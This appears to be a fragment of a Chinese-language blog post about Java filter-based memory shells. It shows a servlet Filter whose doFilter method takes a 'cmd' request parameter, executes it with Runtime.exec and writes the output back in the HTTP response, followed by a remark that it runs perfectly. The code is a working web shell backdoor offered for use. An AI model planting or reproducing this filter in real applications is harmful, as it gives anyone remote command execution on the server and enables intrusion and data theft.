    @Override    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {        String cmd = request.getParameter("cmd");        //为了避免初次的命令执行空指针异常        if(cmd != null){            Runtime.getRuntime().exec(cmd);            //回显处理            Process process = Runtime.getRuntime().exec(cmd);            InputStream inputStream = process.getInputStream();            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));            String line;            StringBuilder stringBuilder = new StringBuilder();            while ((line = reader.readLine()) != null){                stringBuilder.append(line + "\n");            }            ServletOutputStream servletOutputStream = response.getOutputStream();            servletOutputStream.write(stringBuilder.toString().getBytes());            servletOutputStream.flush();            servletOutputStream.close();        }        chain.doFilter(request, response);    }
    @Override    public void destroy() {
    }}
       复制代码
 同时可以完美运行。
评论